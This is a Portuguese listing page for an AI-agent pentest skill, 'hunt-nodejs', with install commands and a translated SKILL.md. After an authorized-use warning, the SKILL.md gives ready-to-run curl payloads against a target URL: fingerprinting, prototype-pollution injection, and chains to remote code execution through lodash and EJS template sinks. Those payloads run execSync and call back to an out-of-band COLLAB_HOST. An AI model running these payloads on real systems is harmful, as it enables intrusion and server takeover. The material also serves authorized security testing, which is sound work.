hunt-nodejs
Ajuda seu agente a encontrar falhas específicas em sistemas Node.js. É útil para garantir a segurança de aplicações desenvolvidas com Node.js.
O que ela faz
Esta ferramenta ajuda a encontrar falhas de segurança específicas em aplicações que usam Node.js. Ela verifica se há vulnerabilidades conhecidas que podem ser exploradas por atacantes.
Quando usar
- ✓Ao testar a segurança de um site ou aplicação Node.js.
- ✓Para verificar se uma aplicação está protegida contra ataques conhecidos.
- ✓Em exercícios de segurança autorizados para encontrar fraquezas.
Exemplo do que pedir para a IA
“Verifique as vulnerabilidades de segurança em https://exemplo.com”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta envia requisições específicas para o alvo e analisa as respostas. Ela procura por padrões que indicam a presença de vulnerabilidades conhecidas em Node.js.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add sickn33/agentic-awesome-skills --skill hunt-nodejsOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-nodejs/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.
Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:
- Peça ao usuário para declarar o URL exato, IP, conta ou recurso alvo.
- Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
- Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
- Aguarde a confirmação explícita na conversa atual.
Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.
HUNT-NODEJS — Vulnerabilidades Específicas do Node.js
Alvos de Joias da Coroa
Poluição de protótipo atingindo um "sink" no backend Node.js = RCE Crítico.
Cadeias de maior valor:
- Poluição de Protótipo → RCE —
__proto__injeção vialodash.merge/Object.assign→ protótipo poluído atinge o "sink"child_process.execouvm.runInNewContext - Proxy de confiança do Express —
app.set('trust proxy', true)sem validação → atacante defineX-Forwarded-Forpara contornar listas de permissão de IP ou limites de taxa - SSTI do EJS/Pug — o motor de template recebe entrada do usuário →
{{= process.mainModule.require('child_process').execSync('id') }} - Injeção de
child_process— entrada do usuário interpolada em string de comando do shell → injeção de comando do SO - Travessia de caminho
require()— caminho de módulo controlado pelo atacante → carrega arquivo arbitrário como JS
Sinais da Superfície de Ataque
X-Powered-By: Express Confirms Express.js
Node.js in error messages Runtime detected
package.json exposed Dependency list + versions
/proc/self/environ accessible Environment variable exfil
Error stack traces with .js paths Node.js confirmed
__proto__ in JSON accepted Prototype pollution candidate
Fase 1 — Impressão Digital
# Confirm Node.js/Express
curl -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express"
# Check for package.json / node_modules exposure
curl -s "https://$TARGET/package.json"
curl -s "https://$TARGET/package-lock.json"
curl -s "https://$TARGET/node_modules/.package-lock.json"
# Error-based version detection
curl -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET"
Fase 2 — Detecção de Poluição de Protótipo
# JSON body injection — test if __proto__ is accepted
curl -s -X POST https://$TARGET/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"polluted": "yes"}}'
# Constructor prototype
curl -s -X POST https://$TARGET/api/settings \
-H "Content-Type: application/json" \
-d '{"constructor": {"prototype": {"isAdmin": true}}}'
# URL query param injection (qs library)
curl -s "https://$TARGET/api/search?__proto__[polluted]=yes&query=test"
curl -s "https://$TARGET/api/data?constructor[prototype][admin]=1"
# Confirm pollution: does a subsequent request reflect the polluted key?
curl -s "https://$TARGET/api/me" | grep -i "polluted\|isAdmin\|admin"
Fase 3 — Poluição de Protótipo → Cadeia RCE
# If pollution is confirmed, attempt to reach dangerous sinks
# Sink 1: child_process via options.shell pollution
curl -s -X POST https://$TARGET/api/update \
-H "Content-Type: application/json" \
-d '{
"__proto__": {
"shell": "node",
"NODE_OPTIONS": "--require /proc/self/fd/0",
"env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"}
}
}'
# Sink 2: lodash template pollution (CVE-2021-23337)
curl -s -X POST https://$TARGET/api/render \
-H "Content-Type: application/json" \
-d '{"__proto__": {"sourceURL": "\nreturn process.mainModule.require(\"child_process\").execSync(\"id\").toString()//"}}'
# Sink 3: ejs template options pollution
# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`
curl -s -X POST https://$TARGET/api/template \
-H "Content-Type: application/json" \
-d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl COLLAB_HOST/pp-rce\");x"}}'
# OOB confirmation — check Interactsh for callback
Fase 4 — Abuso de Proxy de Confiança do Express
# Se o Express tiver o proxy de confiança ativado, X-Forwarded-For é confiável
…
Perguntas frequentes
O que é 'Prototype Pollution'?
É um tipo de ataque onde um invasor consegue modificar propriedades internas de objetos JavaScript, o que pode levar a falhas graves de segurança.
O que significa 'RCE'?
RCE significa 'Remote Code Execution' (Execução Remota de Código). É uma vulnerabilidade grave que permite a um atacante executar comandos no servidor.
Preciso de permissão para usar esta ferramenta?
Sim, você precisa de permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso não autorizado é ilegal.
Detalhes
Descrição original do autor
Hunt Node.js specific vulnerabilities
Popularidade
- Estrelas no GitHub
- 48 mil
- Posição no ranking
- #3275
- Licença
- MIT
- Atualizada em
- 15/10/2026
Comentários
- …
Mais skills deste repositório
00-andruia-consultant
Ajuda seu agente a iniciar ou melhorar projetos de IA. Ele analisa código, sugere ferramentas e cria planos de ação em espanhol.
sickn33/agentic-awesome-skills
007
Faz seu agente realizar auditorias de segurança e modelagem de ameaças. É útil para proteger projetos contra ataques e vulnerabilidades.
sickn33/agentic-awesome-skills
10-andruia-skill-smith
Ajuda seu agente a criar ou melhorar ferramentas de IA. Ele define como as ferramentas funcionam, escreve a documentação e valida a estrutura.
sickn33/agentic-awesome-skills
20-andruia-niche-intelligence
Faz seu agente criar um resumo sobre um setor específico. É útil para entender o contexto, regras, padrões de uso e riscos de um projeto, usando fontes confiáveis.
sickn33/agentic-awesome-skills
Skills parecidas
api-connector-builder
Faz seu agente construir novas conexões com APIs seguindo o padrão já existente. Use quando precisar adicionar mais uma integração sem criar um novo jeito de fazer.
affaan-m/ECC
api-design
Ajuda seu agente a projetar APIs REST seguindo as melhores práticas. É útil para definir como as APIs se comunicam, como os erros são mostrados e como organizar os dados.
affaan-m/ECC
backend-patterns
Ajuda seu agente com padrões de arquitetura do lado do servidor e otimização de banco de dados. É útil para construir ou revisar o código que roda no servidor.
affaan-m/ECC